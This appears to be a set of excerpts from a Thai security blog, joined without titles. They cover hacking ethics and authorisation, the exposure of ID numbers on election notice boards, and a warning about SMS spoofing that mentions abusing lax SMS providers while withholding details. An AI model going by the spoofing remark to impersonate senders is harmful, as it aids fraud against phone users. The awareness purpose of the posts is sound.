4. Authority: คุณมีสิทธิ์ที่จะทำในสิ่งที่คุณอยากจะทำหรือไม่ เช่นไปโจมตีระบบของคนอื่น หรือ Website ที่เราไม่ได้เป็นเจ้าของ สิ่งเหล่านี้มีผลกระทบมากมายที่เราอาจจะไม่รู้ก็ได้ เช่นผู้ดูแลระบบถูกตำหนิหรือโดนไล่ออก, Security Engineer ต้องมาวิเคราะห์ว่าเกิดอะไรขึ้น หรือบางทีระบบอาจจะทำงานได้ช้าลง หรือใช้การไม่ได้ ผลของสิ่งที่เราจะทำคุณต้องคิดเสมอว่า คุณมี Authority หรือไม่ ถ้าไม่มีอย่าทำ แม้ว่าคุณอาจจะมองว่า Hacktivist บางกลุ่มยังทำได้เลยเพื่อสื่ออะไรบางอย่างออกไป แต่จงระลึกไว้เถอะครับ มันมีผลในทางที่ไม่ดีกับผู้อื่นแน่นอน จงใช้ความรู้ความสามารถในทางที่ถูก

5. Code of ethics : หรือแบบประมวลจริยธรรมซึ่งแต่ละสาขาวิชาก็จะมีเป็นของตัวเอง โดยส่วนตัวผมชอบ (ISC)² Code Of Ethics Canons ซึ่งกล่าวถึงลำดับความสำคัญของสิ่งที่ควรคำนึงถึงในสายงาน Information Security ซึ่งมีดังนี้(ข้อที่มาก่อนต้องให้ความสำคัญมากกว่าข้อที่มาทีหลัง)
1. Protect society, the common good, necessary public trust and confidence, and the infrastructure.
2. Act honorably, honestly, justly, responsibly, and legally.
3. Provide diligent and competent service to principals.
4. Advance and protect the profession.

พวกเราหวังว่าบทความนี้จะช่วยให้ผู้อ่านหรือคนที่สนใจในสายงานด้าน Information Security ได้เป็นอย่างที่มืออาชีพควรจะเป็น สำหรับพวกเราแล้วคำว่า “Professional” เป็นคำระดับโลก ต้องเก่ง มีความสามารถครบถ้วน และยังต้องนำความรู้ไปใช้ให้เกิดประโยชน์กับสังคม

The country needs a few good men.

REF: ภาพจากภาพยนตร์เรื่อง A Few Good Men

สิ่งที่อยากจะแชร์ในวันนี้คือ Security ในเขตเลือกตั้งครับ ผมล่ะแปลกใจว่าหน่วยงานรัฐที่เกี่ยวข้องละเลยเรื่องพวกนี้ได้อย่างไร หรือคิดว่าเป็นเรื่องปกติ ทำกันมานานไม่เห็นมีปัญหาหรืออย่างไร

1. บอร์ดเลือกตั้ง มีข้อมูล Privacy ที่สำคัญของประชาชนในเขต โดยข้อมูลที่ถูกเปิดเผยบนบอร์ดนั้นได้แก่ เลขที่บ้าน ชื่อ-นามสกุล ลำดับที่ เลขที่บัตรประชาชน วันเกิด
โดยปกติก่อนการเลือกตั้งจะมีจดหมายมาแจ้งที่บ้านว่าบุคคลในบ้านผู้ใดมีสิทธิ์ไปเลือกตั้งบ้าง และแต่ละคนอยู่ลำดับที่เท่าไร เพื่อไปแจ้งที่ศูนย์เลือกตั้งเพื่อใช้สิทธิ์

ผมเห็นว่าบอร์ดที่ติดอยู่นั้นหากจะมี ก็มีได้ แต่เรื่องข้อมูลต่างๆควรจะต้องมีการ Filter ออกบ้าง เพราะคงจะไม่มีคนไปนั่งไล่วันเกิด หรือ เลขบัตรประชาชน เพื่อหาลำดับที่ในการใช้สิทธิ์หรอกครับ

ข้อมูลเหล่านี้หากแยกกันอยู่โดดๆ คงไม่สำคัญอะไร แต่พอนำมารวมกันเราก็ควรจะให้ความสำคัญเพิ่มขึ้นครับ หากมีคนสามารถนำข้อมูลเหล่านี้ออกไปได้ หรือ หากมีการควบคุมหรือทำลายข้อมูลไม่ถูกต้อง ก็น่ากลัวนะครับ ข้อมูลเหล่านี้อาจจะถูกนำไปใช้ในทางที่ไม่ดี เช่น Identity Theft ก็ได้ครับ หรือหากโจรร้ายดูข้อมูลเหล่านี้ก็จะทราบว่าบ้านแต่ละหลังมีคนอยู่จำนวนเท่าไร

2. ผู้ที่ไปต่อแถวใช้สิทธิ์ โดยส่วนใหญ่มักจะถือบัตรประชาชนไว้ในมือ บางทีก็เอามือไพล่หลัง ซึ่งอาจจะถูกผู้ที่อยู่ด้านหลังนำข้อมูลไปใช้ได้นะครับ

สิ่งที่ควรจะทำเป็นอย่างน้อย

1. Data Filtering – การตัดข้อมูลบางอย่างออก เพื่อปกป้องไม่ให้ข้อมูลสำคัญรั่วไหล เช่น บอร์ดแจ้งรายละเอียดผู้มีสิทธิ์ควรจะต้องมีการพิจารณาให้เห็นเฉพาะข้อมูลที่จำเป็นจริงๆเท่านั้น

2. Data Classification & Data Handling – ตาม Standard ISO27001 เรื่องการจัดชั้นความลับถือเป็นเรื่องสำคัญมากๆ โดยเอกสารหรือข้อมูลต่างๆ ควรจะมีการจัดชั้นความลับให้เหมาะสมกับความสำคัญของเอกสาร โดยแต่ละชั้นความลับก็ควรจะมีวิธีการเข้าถึง, ควบคุม และทำลาย อย่างเหมาะสม หากไม่มีการจัดการที่ดี วันนึงข้างหน้าเราอาจจะเห็นกระดาษที่มีข้อมูลสำคัญเหล่านี้ ถูกนำไปถูกพับถุงขายก็ได้ครับ

ผู้ใช้งานควรจะต้องเพิ่มความระมัดระวังให้ดีนะครับ เพราะว่าวิธีการในการปลอม SMS นั้นค่อนข้างง่าย และเครื่องเหยื่อไม่จำเป็นต้องติดตั้งโปรแกรมพิเศษใดๆเพิ่มเติม ขอแค่มีเบอร์เครื่องเหยื่อก็พอแล้วครับ

Clip ด้านล่างทางทีมงาน Incognito Lab ได้ทำ Proof-of-Concept ให้ดูว่าสามารถทำ SMS spoofing ได้โดยสังเกตว่าชื่อที่เป็น Sender นั้นไม่ได้ถูก save อยู่ใน list ของ contacts

1 ในวิธีการทำ SMS Spoofing Service ที่ทำได้ง่ายมากคือทำผ่าน SMS Service Provider ซึ่งปัจจุบันมี Service Provider เหล่านี้อยู่เยอะมาก และแต่ละ Provider ก็ให้ความสำคัญในเรื่อง Security ไม่เท่ากัน ทำให้อาจจะมีบาง Provider ที่มีช่องโหว่อยู่บ้าง (ทางทีม Incognito Lab ขอไม่เปิดเผยรายละเอียดเกี่ยวกับเรื่องนี้มากนะครับ เพราะว่าอาจจะทำให้เกิดการนำไปใช้ผิดๆมากขึ้น)

วิธีการป้องกัน SMS Spoofing นั้นแทบจะทำไม่ได้เลย เพราะว่าเป็นปัญหาระดับ Infrastructure

แต่อย่างไรก็ตามหากผู้ใช้งานมี Awareness เกี่ยวกับเรื่อง Security ก็จะช่วยลดโอกาสให้ไม่ตกเป็นเหยื่อของเหล่ามิจฉาชีพได้นะครับ